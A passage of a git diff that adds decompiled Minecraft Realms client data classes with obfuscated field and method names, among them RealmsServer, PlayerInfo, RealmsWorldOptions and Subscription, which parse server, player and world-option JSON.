b/src/com/mojang/realmsclient/dto/PingResult.java new file mode 100644 index 00000000..86830abc --- /dev/null +++ b/src/com/mojang/realmsclient/dto/PingResult.java @@ -0,0 +1,14 @@ +package com.mojang.realmsclient.dto; + +import com.google.common.collect.Lists; +import com.google.gson.annotations.SerializedName; +import java.util.List; +import net.minecraft.realms.IPersistentSerializable; + +public class PingResult extends ValueObject implements IPersistentSerializable +{ + @SerializedName("pingResults") + public List field_230571_a_ = Lists.newArrayList(); + @SerializedName("worldIds") + public List field_230572_b_ = Lists.newArrayList(); +} diff --git a/src/com/mojang/realmsclient/dto/PlayerInfo.java b/src/com/mojang/realmsclient/dto/PlayerInfo.java new file mode 100644 index 00000000..5d77099c --- /dev/null +++ b/src/com/mojang/realmsclient/dto/PlayerInfo.java @@ -0,0 +1,68 @@ +package com.mojang.realmsclient.dto; + +import com.google.gson.annotations.SerializedName; +import net.minecraft.realms.IPersistentSerializable; + +public class PlayerInfo extends ValueObject implements IPersistentSerializable +{ + @SerializedName("name") + private String field_230573_a_; + @SerializedName("uuid") + private String field_230574_b_; + @SerializedName("operator") + private boolean field_230575_c_; + @SerializedName("accepted") + private boolean field_230576_d_; + @SerializedName("online") + private boolean field_230577_e_; + + public String func_230757_a_() + { + return this.field_230573_a_; + } + + public void func_230758_a_(String p_230758_1_) + { + this.field_230573_a_ = p_230758_1_; + } + + public String func_230760_b_() + { + return this.field_230574_b_; + } + + public void func_230761_b_(String p_230761_1_) + { + this.field_230574_b_ = p_230761_1_; + } + + public boolean func_230763_c_() + { + return this.field_230575_c_; + } + + public void func_230759_a_(boolean p_230759_1_) + { + this.field_230575_c_ = p_230759_1_; + } + + public boolean func_230765_d_() + { + return this.field_230576_d_; + } + + public void func_230762_b_(boolean p_230762_1_) + { + this.field_230576_d_ = p_230762_1_; + } + + public boolean func_230766_e_() + { + return this.field_230577_e_; + } + + public void func_230764_c_(boolean p_230764_1_) + { + this.field_230577_e_ = p_230764_1_; + } +} diff --git a/src/com/mojang/realmsclient/dto/RealmsDescriptionDto.java b/src/com/mojang/realmsclient/dto/RealmsDescriptionDto.java new file mode 100644 index 00000000..b8080fd0 --- /dev/null +++ b/src/com/mojang/realmsclient/dto/RealmsDescriptionDto.java @@ -0,0 +1,18 @@ +package com.mojang.realmsclient.dto; + +import com.google.gson.annotations.SerializedName; +import net.minecraft.realms.IPersistentSerializable; + +public class RealmsDescriptionDto extends ValueObject implements IPersistentSerializable +{ + @SerializedName("name") + public String field_230578_a_; + @SerializedName("description") + public String field_230579_b_; + + public RealmsDescriptionDto(String p_i51655_1_, String p_i51655_2_) + { + this.field_230578_a_ = p_i51655_1_; + this.field_230579_b_ = p_i51655_2_; + } +} diff --git a/src/com/mojang/realmsclient/dto/RealmsNews.java b/src/com/mojang/realmsclient/dto/RealmsNews.java new file mode 100644 index 00000000..2807ca5f --- /dev/null +++ b/src/com/mojang/realmsclient/dto/RealmsNews.java @@ -0,0 +1,31 @@ +package com.mojang.realmsclient.dto; + +import com.google.gson.JsonObject; +import com.google.gson.JsonParser; +import com.mojang.realmsclient.util.JsonUtils; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; + +public class RealmsNews extends ValueObject +{ + private static final Logger field_230581_b_ = LogManager.getLogger(); + public String field_230580_a_; + + public static RealmsNews func_230767_a_(String p_230767_0_) + { + RealmsNews realmsnews = new RealmsNews(); + + try + { + JsonParser jsonparser = new JsonParser(); + JsonObject jsonobject = jsonparser.parse(p_230767_0_).getAsJsonObject(); + realmsnews.field_230580_a_ = JsonUtils.func_225171_a("newsLink", jsonobject, (String)null); + } + catch (Exception exception) + { + field_230581_b_.error("Could not parse RealmsNews: " + exception.getMessage()); + } + + return realmsnews; + } +} diff --git a/src/com/mojang/realmsclient/dto/RealmsServer.java b/src/com/mojang/realmsclient/dto/RealmsServer.java new file mode 100644 index 00000000..1ae5afc9 --- /dev/null +++ b/src/com/mojang/realmsclient/dto/RealmsServer.java @@ -0,0 +1,377 @@ +package com.mojang.realmsclient.dto; + +import com.google.common.base.Joiner; +import com.google.common.collect.ComparisonChain; +import com.google.common.collect.Lists; +import com.google.common.collect.Maps; +import com.google.gson.JsonArray; +import com.google.gson.JsonElement; +import com.google.gson.JsonObject; +import com.google.gson.JsonParser; +import com.mojang.realmsclient.util.JsonUtils; +import com.mojang.realmsclient.util.RealmsUtil; +import java.util.Comparator; +import java.util.List; +import java.util.Locale; +import java.util.Map; +import java.util.Objects; +import java.util.Map.Entry; +import net.minecraft.client.Minecraft; +import net.minecraft.client.multiplayer.ServerData; +import org.apache.commons.lang3.builder.EqualsBuilder; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; + +public class RealmsServer extends ValueObject +{ + private static final Logger field_230600_s_ = LogManager.getLogger(); + public long field_230582_a_; + public String field_230583_b_; + public String field_230584_c_; + public String field_230585_d_; + public RealmsServer.Status field_230586_e_; + public String field_230587_f_; + public String field_230588_g_; + public List field_230589_h_; + public Map field_230590_i_; + public boolean field_230591_j_; + public boolean field_230592_k_; + public int field_230593_l_; + public RealmsServer.ServerType field_230594_m_; + public int field_230595_n_; + public String field_230596_o_; + public int field_230597_p_; + public String field_230598_q_; + public RealmsServerPing field_230599_r_ = new RealmsServerPing(); + + public String func_230768_a_() + { + return this.field_230585_d_; + } + + public String func_230775_b_() + { + return this.field_230584_c_; + } + + public String func_230778_c_() + { + return this.field_230596_o_; + } + + public void func_230773_a_(String p_230773_1_) + { + this.field_230584_c_ = p_230773_1_; + } + + public void func_230777_b_(String p_230777_1_) + { + this.field_230585_d_ = p_230777_1_; + } + + public void func_230772_a_(RealmsServerPlayerList p_230772_1_) + { + List list = Lists.newArrayList(); + int i = 0; + + for (String s : p_230772_1_.field_230610_b_) + { + if (!s.equals(Minecraft.getInstance().getSession().getPlayerID())) + { + String s1 = ""; + + try + { + s1 = RealmsUtil.func_225193_a(s); + } + catch (Exception exception) + { + field_230600_s_.error("Could not get name for " + s, (Throwable)exception); + continue; + } + + list.add(s1); + ++i; + } + } + + this.field_230599_r_.field_230607_a_ = String.valueOf(i); + this.field_230599_r_.field_230608_b_ = Joiner.on('\n').join(list); + } + + public static RealmsServer func_230770_a_(JsonObject p_230770_0_) + { + RealmsServer realmsserver = new RealmsServer(); + + try + { + realmsserver.field_230582_a_ = JsonUtils.func_225169_a("id", p_230770_0_, -1L); + realmsserver.field_230583_b_ = JsonUtils.func_225171_a("remoteSubscriptionId", p_230770_0_, (String)null); + realmsserver.field_230584_c_ = JsonUtils.func_225171_a("name", p_230770_0_, (String)null); + realmsserver.field_230585_d_ = JsonUtils.func_225171_a("motd", p_230770_0_, (String)null); + realmsserver.field_230586_e_ = func_230780_d_(JsonUtils.func_225171_a("state", p_230770_0_, RealmsServer.Status.CLOSED.name())); + realmsserver.field_230587_f_ = JsonUtils.func_225171_a("owner", p_230770_0_, (String)null); + + if (p_230770_0_.get("players") != null && p_230770_0_.get("players").isJsonArray()) + { + realmsserver.field_230589_h_ = func_230769_a_(p_230770_0_.get("players").getAsJsonArray()); + func_230771_a_(realmsserver); + } + else + { + realmsserver.field_230589_h_ = Lists.newArrayList(); + } + + realmsserver.field_230593_l_ = JsonUtils.func_225172_a("daysLeft", p_230770_0_, 0); + realmsserver.field_230591_j_ = JsonUtils.func_225170_a("expired", p_230770_0_, false); + realmsserver.field_230592_k_ = JsonUtils.func_225170_a("expiredTrial", p_230770_0_, false); + realmsserver.field_230594_m_ = func_230781_e_(JsonUtils.func_225171_a("worldType", p_230770_0_, RealmsServer.ServerType.NORMAL.name())); + realmsserver.field_230588_g_ = JsonUtils.func_225171_a("ownerUUID", p_230770_0_, ""); + + if (p_230770_0_.get("slots") != null && p_230770_0_.get("slots").isJsonArray()) + { + realmsserver.field_230590_i_ = func_230776_b_(p_230770_0_.get("slots").getAsJsonArray()); + } + else + { + realmsserver.field_230590_i_ = func_237697_e_(); + } + + realmsserver.field_230596_o_ = JsonUtils.func_225171_a("minigameName", p_230770_0_, (String)null); + realmsserver.field_230595_n_ = JsonUtils.func_225172_a("activeSlot", p_230770_0_, -1); + realmsserver.field_230597_p_ = JsonUtils.func_225172_a("minigameId", p_230770_0_, -1); + realmsserver.field_230598_q_ = JsonUtils.func_225171_a("minigameImage", p_230770_0_, (String)null); + } + catch (Exception exception) + { + field_230600_s_.error("Could not parse McoServer: " + exception.getMessage()); + } + + return realmsserver; + } + + private static void func_230771_a_(RealmsServer p_230771_0_) + { + p_230771_0_.field_230589_h_.sort((p_229951_0_, p_229951_1_) -> + { + return ComparisonChain.start().compareFalseFirst(p_229951_1_.func_230765_d_(), p_229951_0_.func_230765_d_()).compare(p_229951_0_.func_230757_a_().toLowerCase(Locale.ROOT), p_229951_1_.func_230757_a_().toLowerCase(Locale.ROOT)).result(); + }); + } + + private static List func_230769_a_(JsonArray p_230769_0_) + { + List list = Lists.newArrayList(); + + for (JsonElement jsonelement : p_230769_0_) + { + try + { + JsonObject jsonobject = jsonelement.getAsJsonObject(); + PlayerInfo playerinfo = new PlayerInfo(); + playerinfo.func_230758_a_(JsonUtils.func_225171_a("name", jsonobject, (String)null)); + playerinfo.func_230761_b_(JsonUtils.func_225171_a("uuid", jsonobject, (String)null)); + playerinfo.func_230759_a_(JsonUtils.func_225170_a("operator", jsonobject, false)); + playerinfo.func_230762_b_(JsonUtils.func_225170_a("accepted", jsonobject, false)); + playerinfo.func_230764_c_(JsonUtils.func_225170_a("online", jsonobject, false)); + list.add(playerinfo); + } + catch (Exception exception) + { + } + } + + return list; + } + + private static Map func_230776_b_(JsonArray p_230776_0_) + { + Map map = Maps.newHashMap(); + + for (JsonElement jsonelement : p_230776_0_) + { + try + { + JsonObject jsonobject = jsonelement.getAsJsonObject(); + JsonParser jsonparser = new JsonParser(); + JsonElement jsonelement1 = jsonparser.parse(jsonobject.get("options").getAsString()); + RealmsWorldOptions realmsworldoptions; + + if (jsonelement1 == null) + { + realmsworldoptions = RealmsWorldOptions.func_237700_a_(); + } + else + { + realmsworldoptions = RealmsWorldOptions.func_230788_a_(jsonelement1.getAsJsonObject()); + } + + int i = JsonUtils.func_225172_a("slotId", jsonobject, -1); + map.put(i, realmsworldoptions); + } + catch (Exception exception) + { + } + } + + for (int j = 1; j <= 3; ++j) + { + if (!map.containsKey(j)) + { + map.put(j, RealmsWorldOptions.func_237701_b_()); + } + } + + return map; + } + + private static Map func_237697_e_() + { + Map map = Maps.newHashMap(); + map.put(1, RealmsWorldOptions.func_237701_b_()); + map.put(2, RealmsWorldOptions.func_237701_b_()); + map.put(3, RealmsWorldOptions.func_237701_b_()); + return map; + } + + public static RealmsServer func_230779_c_(String p_230779_0_) + { + try + { + return func_230770_a_((new JsonParser()).parse(p_230779_0_).getAsJsonObject()); + } + catch (Exception exception) + { + field_230600_s_.error("Could not parse McoServer: " + exception.getMessage()); + return new RealmsServer(); + } + } + + private static RealmsServer.Status func_230780_d_(String p_230780_0_) + { + try + { + return RealmsServer.Status.valueOf(p_230780_0_); + } + catch (Exception exception) + { + return RealmsServer.Status.CLOSED; + } + } + + private static RealmsServer.ServerType func_230781_e_(String p_230781_0_) + { + try + { + return RealmsServer.ServerType.valueOf(p_230781_0_); + } + catch (Exception exception) + { + return RealmsServer.ServerType.NORMAL; + } + } + + public int hashCode() + { + return Objects.hash(this.field_230582_a_, this.field_230584_c_, this.field_230585_d_, this.field_230586_e_, this.field_230587_f_, this.field_230591_j_); + } + + public boolean equals(Object p_equals_1_) + { + if (p_equals_1_ == null) + { + return false; + } + else if (p_equals_1_ == this) + { + return true; + } + else if (p_equals_1_.getClass() != this.getClass()) + { + return false; + } + else + { + RealmsServer realmsserver = (RealmsServer)p_equals_1_; + return (new EqualsBuilder()).append(this.field_230582_a_, realmsserver.field_230582_a_).append((Object)this.field_230584_c_, (Object)realmsserver.field_230584_c_).append((Object)this.field_230585_d_, (Object)realmsserver.field_230585_d_).append((Object)this.field_230586_e_, (Object)realmsserver.field_230586_e_).append((Object)this.field_230587_f_, (Object)realmsserver.field_230587_f_).append(this.field_230591_j_, realmsserver.field_230591_j_).append((Object)this.field_230594_m_, (Object)this.field_230594_m_).isEquals(); + } + } + + public RealmsServer clone() + { + RealmsServer realmsserver = new RealmsServer(); + realmsserver.field_230582_a_ = this.field_230582_a_; + realmsserver.field_230583_b_ = this.field_230583_b_; + realmsserver.field_230584_c_ = this.field_230584_c_; + realmsserver.field_230585_d_ = this.field_230585_d_; + realmsserver.field_230586_e_ = this.field_230586_e_; + realmsserver.field_230587_f_ = this.field_230587_f_; + realmsserver.field_230589_h_ = this.field_230589_h_; + realmsserver.field_230590_i_ = this.func_230774_a_(this.field_230590_i_); + realmsserver.field_230591_j_ = this.field_230591_j_; + realmsserver.field_230592_k_ = this.field_230592_k_; + realmsserver.field_230593_l_ = this.field_230593_l_; + realmsserver.field_230599_r_ = new RealmsServerPing(); + realmsserver.field_230599_r_.field_230607_a_ = this.field_230599_r_.field_230607_a_; + realmsserver.field_230599_r_.field_230608_b_ = this.field_230599_r_.field_230608_b_; + realmsserver.field_230594_m_ = this.field_230594_m_; + realmsserver.field_230588_g_ = this.field_230588_g_; + realmsserver.field_230596_o_ = this.field_230596_o_; + realmsserver.field_230595_n_ = this.field_230595_n_; + realmsserver.field_230597_p_ = this.field_230597_p_; + realmsserver.field_230598_q_ = this.field_230598_q_; + return realmsserver; + } + + public Map func_230774_a_(Map p_230774_1_) + { + Map map = Maps.newHashMap(); + + for (Entry entry : p_230774_1_.entrySet()) + { + map.put(entry.getKey(), entry.getValue().clone()); + } + + return map; + } + + public String func_237696_a_(int p_237696_1_) + { + return this.field_230584_c_ + " (" + this.field_230590_i_.get(p_237696_1_).func_230787_a_(p_237696_1_) + ")"; + } + + public ServerData func_244783_d(String p_244783_1_) + { + return new ServerData(this.field_230584_c_, p_244783_1_, false); + } + + public static class ServerComparator implements Comparator + { + private final String field_223701_a; + + public ServerComparator(String p_i51687_1_) + { + this.field_223701_a = p_i51687_1_; + } + + public int compare(RealmsServer p_compare_1_, RealmsServer p_compare_2_) + { + return ComparisonChain.start().compareTrueFirst(p_compare_1_.field_230586_e_ == RealmsServer.Status.UNINITIALIZED, p_compare_2_.field_230586_e_ == RealmsServer.Status.UNINITIALIZED).compareTrueFirst(p_compare_1_.field_230592_k_, p_compare_2_.field_230592_k_).compareTrueFirst(p_compare_1_.field_230587_f_.equals(this.field_223701_a), p_compare_2_.field_230587_f_.equals(this.field_223701_a)).compareFalseFirst(p_compare_1_.field_230591_j_, p_compare_2_.field_230591_j_).compareTrueFirst(p_compare_1_.field_230586_e_ == RealmsServer.Status.OPEN, p_compare_2_.field_230586_e_ == RealmsServer.Status.OPEN).compare(p_compare_1_.field_230582_a_, p_compare_2_.field_230582_a_).result(); + } + } + + public static enum ServerType + { + NORMAL, + MINIGAME, + ADVENTUREMAP, + EXPERIENCE, + INSPIRATION; + } + + public static enum Status + { + CLOSED, + OPEN, + UNINITIALIZED; + } +} diff --git a/src/com/mojang/realmsclient/dto/RealmsServerAddress.java b/src/com/mojang/realmsclient/dto/RealmsServerAddress.java new file mode 100644 index 00000000..6b6edf00 --- /dev/null +++ b/src/com/mojang/realmsclient/dto/RealmsServerAddress.java @@ -0,0 +1,35 @@ +package com.mojang.realmsclient.dto; + +import com.google.gson.JsonObject; +import com.google.gson.JsonParser; +import com.mojang.realmsclient.util.JsonUtils; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; + +public class RealmsServerAddress extends ValueObject +{ + private static final Logger field_230604_d_ = LogManager.getLogger(); + public String field_230601_a_; + public String field_230602_b_; + public String field_230603_c_; + + public static RealmsServerAddress func_230782_a_(String p_230782_0_) + { + JsonParser jsonparser = new JsonParser(); + RealmsServerAddress realmsserveraddress = new RealmsServerAddress(); + + try + { + JsonObject jsonobject = jsonparser.parse(p_230782_0_).getAsJsonObject(); + realmsserveraddress.field_230601_a_ = JsonUtils.func_225171_a("address", jsonobject, (String)null); + realmsserveraddress.field_230602_b_ = JsonUtils.func_225171_a("resourcePackUrl", jsonobject, (String)null); + realmsserveraddress.field_230603_c_ = JsonUtils.func_225171_a("resourcePackHash", jsonobject, (String)null); + } + catch (Exception exception) + { + field_230604_d_.error("Could not parse RealmsServerAddress: " + exception.getMessage()); + } + + return realmsserveraddress; + } +} diff --git a/src/com/mojang/realmsclient/dto/RealmsServerList.java b/src/com/mojang/realmsclient/dto/RealmsServerList.java new file mode 100644 index 00000000..e2849bd9 --- /dev/null +++ b/src/com/mojang/realmsclient/dto/RealmsServerList.java @@ -0,0 +1,46 @@ +package com.mojang.realmsclient.dto; + +import com.google.common.collect.Lists; +import com.google.gson.JsonArray; +import com.google.gson.JsonElement; +import com.google.gson.JsonObject; +import com.google.gson.JsonParser; +import java.util.Iterator; +import java.util.List; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; + +public class RealmsServerList extends ValueObject +{ + private static final Logger field_230606_b_ = LogManager.getLogger(); + public List field_230605_a_; + + public static RealmsServerList func_230783_a_(String p_230783_0_) + { + RealmsServerList realmsserverlist = new RealmsServerList(); + realmsserverlist.field_230605_a_ = Lists.newArrayList(); + + try + { + JsonParser jsonparser = new JsonParser(); + JsonObject jsonobject = jsonparser.parse(p_230783_0_).getAsJsonObject(); + + if (jsonobject.get("servers").isJsonArray()) + { + JsonArray jsonarray = jsonobject.get("servers").getAsJsonArray(); + Iterator iterator = jsonarray.iterator(); + + while (iterator.hasNext()) + { + realmsserverlist.field_230605_a_.add(RealmsServer.func_230770_a_(iterator.next().getAsJsonObject())); + } + } + } + catch (Exception exception) + { + field_230606_b_.error("Could not parse McoServerList: " + exception.getMessage()); + } + + return realmsserverlist; + } +} diff --git a/src/com/mojang/realmsclient/dto/RealmsServerPing.java b/src/com/mojang/realmsclient/dto/RealmsServerPing.java new file mode 100644 index 00000000..944eeae9 --- /dev/null +++ b/src/com/mojang/realmsclient/dto/RealmsServerPing.java @@ -0,0 +1,7 @@ +package com.mojang.realmsclient.dto; + +public class RealmsServerPing extends ValueObject +{ + public volatile String field_230607_a_ = "0"; + public volatile String field_230608_b_ = ""; +} diff --git a/src/com/mojang/realmsclient/dto/RealmsServerPlayerList.java b/src/com/mojang/realmsclient/dto/RealmsServerPlayerList.java new file mode 100644 index 00000000..43e67caa --- /dev/null +++ b/src/com/mojang/realmsclient/dto/RealmsServerPlayerList.java @@ -0,0 +1,72 @@ +package com.mojang.realmsclient.dto; + +import com.google.common.collect.Lists; +import com.google.gson.JsonArray; +import com.google.gson.JsonElement; +import com.google.gson.JsonObject; +import com.google.gson.JsonParser; +import com.mojang.realmsclient.util.JsonUtils; +import java.util.List; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; + +public class RealmsServerPlayerList extends ValueObject +{ + private static final Logger field_230611_c_ = LogManager.getLogger(); + private static final JsonParser field_237698_d_ = new JsonParser(); + public long field_230609_a_; + public List field_230610_b_; + + public static RealmsServerPlayerList func_230785_a_(JsonObject p_230785_0_) + { + RealmsServerPlayerList realmsserverplayerlist = new RealmsServerPlayerList(); + + try + { + realmsserverplayerlist.field_230609_a_ = JsonUtils.func_225169_a("serverId", p_230785_0_, -1L); + String s = JsonUtils.func_225171_a("playerList", p_230785_0_, (String)null); + + if (s != null) + { + JsonElement jsonelement = field_237698_d_.parse(s); + + if (jsonelement.isJsonArray()) + { + realmsserverplayerlist.field_230610_b_ = func_230784_a_(jsonelement.getAsJsonArray()); + } + else + { + realmsserverplayerlist.field_230610_b_ = Lists.newArrayList(); + } + } + else + { + realmsserverplayerlist.field_230610_b_ = Lists.newArrayList(); + } + } + catch (Exception exception) + { + field_230611_c_.error("Could not parse RealmsServerPlayerList: " + exception.getMessage()); + } + + return realmsserverplayerlist; + } + + private static List func_230784_a_(JsonArray p_230784_0_) + { + List list = Lists.newArrayList(); + + for (JsonElement jsonelement : p_230784_0_) + { + try + { + list.add(jsonelement.getAsString()); + } + catch (Exception exception) + { + } + } + + return list; + } +} diff --git a/src/com/mojang/realmsclient/dto/RealmsServerPlayerLists.java b/src/com/mojang/realmsclient/dto/RealmsServerPlayerLists.java new file mode 100644 index 00000000..c198207f --- /dev/null +++ b/src/com/mojang/realmsclient/dto/RealmsServerPlayerLists.java @@ -0,0 +1,46 @@ +package com.mojang.realmsclient.dto; + +import com.google.common.collect.Lists; +import com.google.gson.JsonArray; +import com.google.gson.JsonElement; +import com.google.gson.JsonObject; +import com.google.gson.JsonParser; +import java.util.Iterator; +import java.util.List; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; + +public class RealmsServerPlayerLists extends ValueObject +{ + private static final Logger field_230613_b_ = LogManager.getLogger(); + public List field_230612_a_; + + public static RealmsServerPlayerLists func_230786_a_(String p_230786_0_) + { + RealmsServerPlayerLists realmsserverplayerlists = new RealmsServerPlayerLists(); + realmsserverplayerlists.field_230612_a_ = Lists.newArrayList(); + + try + { + JsonParser jsonparser = new JsonParser(); + JsonObject jsonobject = jsonparser.parse(p_230786_0_).getAsJsonObject(); + + if (jsonobject.get("lists").isJsonArray()) + { + JsonArray jsonarray = jsonobject.get("lists").getAsJsonArray(); + Iterator iterator = jsonarray.iterator(); + + while (iterator.hasNext()) + { + realmsserverplayerlists.field_230612_a_.add(RealmsServerPlayerList.func_230785_a_(iterator.next().getAsJsonObject())); + } + } + } + catch (Exception exception) + { + field_230613_b_.error("Could not parse RealmsServerPlayerLists: " + exception.getMessage()); + } + + return realmsserverplayerlists; + } +} diff --git a/src/com/mojang/realmsclient/dto/RealmsWorldOptions.java b/src/com/mojang/realmsclient/dto/RealmsWorldOptions.java new file mode 100644 index 00000000..52db3080 --- /dev/null +++ b/src/com/mojang/realmsclient/dto/RealmsWorldOptions.java @@ -0,0 +1,144 @@ +package com.mojang.realmsclient.dto; + +import com.google.gson.JsonObject; +import com.mojang.realmsclient.util.JsonUtils; +import java.util.Objects; +import net.minecraft.client.resources.I18n; + +public class RealmsWorldOptions extends ValueObject +{ + public Boolean field_230614_a_; + public Boolean field_230615_b_; + public Boolean field_230616_c_; + public Boolean field_230617_d_; + public Integer field_230618_e_; + public Boolean field_230619_f_; + public Boolean field_230620_g_; + public Integer field_230621_h_; + public Integer field_230622_i_; + public String field_230623_j_; + public long field_230624_k_; + public String field_230625_l_; + public boolean field_230626_m_; + public boolean field_230627_n_; + private static final String field_237699_o_ = null; + + public RealmsWorldOptions(Boolean atlasTexturesIn, Boolean p_i51651_2_, Boolean p_i51651_3_, Boolean p_i51651_4_, Integer p_i51651_5_, Boolean p_i51651_6_, Integer p_i51651_7_, Integer p_i51651_8_, Boolean p_i51651_9_, String p_i51651_10_) + { + this.field_230614_a_ = atlasTexturesIn; + this.field_230615_b_ = p_i51651_2_; + this.field_230616_c_ = p_i51651_3_; + this.field_230617_d_ = p_i51651_4_; + this.field_230618_e_ = p_i51651_5_; + this.field_230619_f_ = p_i51651_6_; + this.field_230621_h_ = p_i51651_7_; + this.field_230622_i_ = p_i51651_8_; + this.field_230620_g_ = p_i51651_9_; + this.field_230623_j_ = p_i51651_10_; + } + + public static RealmsWorldOptions func_237700_a_() + { + return new RealmsWorldOptions(true, true, true, true, 0, false, 2, 0, false, ""); + } + + public static RealmsWorldOptions func_237701_b_() + { + RealmsWorldOptions realmsworldoptions = func_237700_a_(); + realmsworldoptions.func_230789_a_(true); + return realmsworldoptions; + } + + public void func_230789_a_(boolean p_230789_1_) + { + this.field_230627_n_ = p_230789_1_; + } + + public static RealmsWorldOptions func_230788_a_(JsonObject p_230788_0_) + { + RealmsWorldOptions realmsworldoptions = new RealmsWorldOptions(JsonUtils.func_225170_a("pvp", p_230788_0_, true), JsonUtils.func_225170_a("spawnAnimals", p_230788_0_, true), JsonUtils.func_225170_a("spawnMonsters", p_230788_0_, true), JsonUtils.func_225170_a("spawnNPCs", p_230788_0_, true), JsonUtils.func_225172_a("spawnProtection", p_230788_0_, 0), JsonUtils.func_225170_a("commandBlocks", p_230788_0_, false), JsonUtils.func_225172_a("difficulty", p_230788_0_, 2), JsonUtils.func_225172_a("gameMode", p_230788_0_, 0), JsonUtils.func_225170_a("forceGameMode", p_230788_0_, false), JsonUtils.func_225171_a("slotName", p_230788_0_, "")); + realmsworldoptions.field_230624_k_ = JsonUtils.func_225169_a("worldTemplateId", p_230788_0_, -1L); + realmsworldoptions.field_230625_l_ = JsonUtils.func_225171_a("worldTemplateImage", p_230788_0_, field_237699_o_); + realmsworldoptions.field_230626_m_ = JsonUtils.func_225170_a("adventureMap", p_230788_0_, false); + return realmsworldoptions; + } + + public String func_230787_a_(int p_230787_1_) + { + if (this.field_230623_j_ != null && !this.field_230623_j_.isEmpty()) + { + return this.field_230623_j_; + } + else + { + return this.field_230627_n_ ? I18n.format("mco.configure.world.slot.empty") : this.func_230790_b_(p_230787_1_); + } + } + + public String func_230790_b_(int p_230790_1_) + { + return I18n.format("mco.configure.world.slot", p_230790_1_); + } + + public String func_230791_c_() + { + JsonObject jsonobject = new JsonObject(); + + if (!this.field_230614_a_) + { + jsonobject.addProperty("pvp", this.field_230614_a_); + } + + if (!this.field_230615_b_) + { + jsonobject.addProperty("spawnAnimals", this.field_230615_b_); + } + + if (!this.field_230616_c_) + { + jsonobject.addProperty("spawnMonsters", this.field_230616_c_); + } + + if (!this.field_230617_d_) + { + jsonobject.addProperty("spawnNPCs", this.field_230617_d_); + } + + if (this.field_230618_e_ != 0) + { + jsonobject.addProperty("spawnProtection", this.field_230618_e_); + } + + if (this.field_230619_f_) + { + jsonobject.addProperty("commandBlocks", this.field_230619_f_); + } + + if (this.field_230621_h_ != 2) + { + jsonobject.addProperty("difficulty", this.field_230621_h_); + } + + if (this.field_230622_i_ != 0) + { + jsonobject.addProperty("gameMode", this.field_230622_i_); + } + + if (this.field_230620_g_) + { + jsonobject.addProperty("forceGameMode", this.field_230620_g_); + } + + if (!Objects.equals(this.field_230623_j_, "")) + { + jsonobject.addProperty("slotName", this.field_230623_j_); + } + + return jsonobject.toString(); + } + + public RealmsWorldOptions clone() + { + return new RealmsWorldOptions(this.field_230614_a_, this.field_230615_b_, this.field_230616_c_, this.field_230617_d_, this.field_230618_e_, this.field_230619_f_, this.field_230621_h_, this.field_230622_i_, this.field_230620_g_, this.field_230623_j_); + } +} diff --git a/src/com/mojang/realmsclient/dto/RealmsWorldResetDto.java b/src/com/mojang/realmsclient/dto/RealmsWorldResetDto.java new file mode 100644 index 00000000..5115d74c --- /dev/null +++ b/src/com/mojang/realmsclient/dto/RealmsWorldResetDto.java @@ -0,0 +1,24 @@ +package com.mojang.realmsclient.dto; + +import com.google.gson.annotations.SerializedName; +import net.minecraft.realms.IPersistentSerializable; + +public class RealmsWorldResetDto extends ValueObject implements IPersistentSerializable +{ + @SerializedName("seed") + private final String field_230628_a_; + @SerializedName("worldTemplateId") + private final long field_230629_b_; + @SerializedName("levelType") + private final int field_230630_c_; + @SerializedName("generateStructures") + private final boolean field_230631_d_; + + public RealmsWorldResetDto(String p_i51640_1_, long p_i51640_2_, int p_i51640_4_, boolean p_i51640_5_) + { + this.field_230628_a_ = p_i51640_1_; + this.field_230629_b_ = p_i51640_2_; + this.field_230630_c_ = p_i51640_4_; + this.field_230631_d_ = p_i51640_5_; + } +} diff --git a/src/com/mojang/realmsclient/dto/RegionPingResult.java b/src/com/mojang/realmsclient/dto/RegionPingResult.java new file mode 100644 index 00000000..8acd2d9d --- /dev/null +++ b/src/com/mojang/realmsclient/dto/RegionPingResult.java @@ -0,0 +1,29 @@ +package com.mojang.realmsclient.dto; + +import com.google.gson.annotations.SerializedName; +import java.util.Locale; +import net.minecraft.realms.IPersistentSerializable; + +public class RegionPingResult extends ValueObject implements IPersistentSerializable +{ + @SerializedName("regionName") + private final String field_230632_a_; + @SerializedName("ping") + private final int field_230633_b_; + + public RegionPingResult(String entityRendererIn, int mcIn) + { + this.field_230632_a_ = entityRendererIn; + this.field_230633_b_ = mcIn; + } + + public int func_230792_a_() + { + return this.field_230633_b_; + } + + public String toString() + { + return String.format(Locale.ROOT, "%s --> %.2f ms", this.field_230632_a_, (float)this.field_230633_b_); + } +} diff --git a/src/com/mojang/realmsclient/dto/Subscription.java b/src/com/mojang/realmsclient/dto/Subscription.java new file mode 100644 index 00000000..5e4c09d6 --- /dev/null +++ b/src/com/mojang/realmsclient/dto/Subscription.java @@ -0,0 +1,53 @@ +package com.mojang.realmsclient.dto; + +import com.google.gson.JsonObject; +import com.google.gson.JsonParser; +import com.mojang.realmsclient.util.JsonUtils; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; + +public class Subscription extends ValueObject +{ + private static final Logger field_230637_d_ = LogManager.getLogger(); + public long field_230634_a_; + public int field_230635_b_; + public Subscription.Type field_230636_c_ = Subscription.Type.NORMAL; + + public static Subscription func_230793_a_(String p_230793_0_) + { + Subscription subscription = new Subscription(); + + try + { + JsonParser jsonparser = new JsonParser(); + JsonObject jsonobject = jsonparser.parse(p_230793_0_).getAsJsonObject(); + subscription.field_230634_a_ = JsonUtils.func_225169_a("startDate", jsonobject, 0L); + subscription.field_230635_b_ = JsonUtils.func_225172_a("daysLeft", jsonobject, 0); + subscription.field_230636_c_ = func_230794_b_(JsonUtils.func_225171_a("subscriptionType", jsonobject, Subscription.Type.NORMAL.name())); + } + catch (Exception exception) + { + field_230637_d_.error("Could not parse Subscription: " + exception.getMessage()); + } + + return subscription; + } + + private static Subscription.Type func_230794_b_(String p_230794_0_) + { + try + { + return Subscription.Type.valueOf(p_230794_0_); + } + catch (Exception exception) + { + return Subscription.Type.NORMAL; + } + } + + public static enum Type + { + NORMAL, + RECURRING; + } +} diff --git a/src/com/mojang/realmsclient/dto/UploadInfo.java 